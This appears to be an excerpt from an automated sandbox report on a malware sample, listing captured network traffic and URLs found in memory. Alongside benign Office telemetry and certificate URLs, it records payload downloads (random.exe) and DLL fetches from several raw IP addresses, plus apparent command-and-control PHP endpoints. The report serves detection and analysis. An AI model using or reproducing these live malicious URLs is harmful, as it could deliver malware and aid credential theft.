Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: b9a9cccd-1349-4e6d-b84b-6f55af47388e.tmp.8.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeNJ
Source: file.exe, 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2702853473.0000000000787000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2706801790.0000000001229000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll)
Source: file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll;
Source: file.exe, 00000000.00000002.2706801790.0000000001229000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll5
Source: file.exe, 00000000.00000002.2706801790.0000000001229000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllf
Source: file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2706801790.0000000001229000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2706801790.0000000001229000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2706801790.0000000001229000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllh~~
Source: file.exe, 00000000.00000002.2706801790.0000000001288000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736611897.00000000238B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2706801790.0000000001229000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2702853473.0000000000787000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php-
Source: file.exe, 00000000.00000002.2706801790.0000000001243000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: file.exe, 00000000.00000002.2702853473.0000000000787000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpIEBGHD.exeata;
Source: file.exe, 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpeT:
Source: file.exe, 00000000.00000002.2702853473.0000000000787000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: file.exe, 00000000.00000002.2706801790.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206s
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3418494044.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpH
Source: skotes.exe, 00000022.00000002.3418494044.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpyu
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11//Zu7JuNko/index.php
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000022.00000002.3418494044.000000000132B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000022.00000002.3418494044.0000000001369000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1007721001J
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b31
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506238476S
Source: skotes.exe, 00000022.00000002.3418494044.0000000001369000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5E
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeG
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeY
Source: skotes.exe, 00000022.00000002.3418494044.000000000132B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeem32
Source: skotes.exe, 00000022.00000002.3418494044.000000000137E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exerlencodedX
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
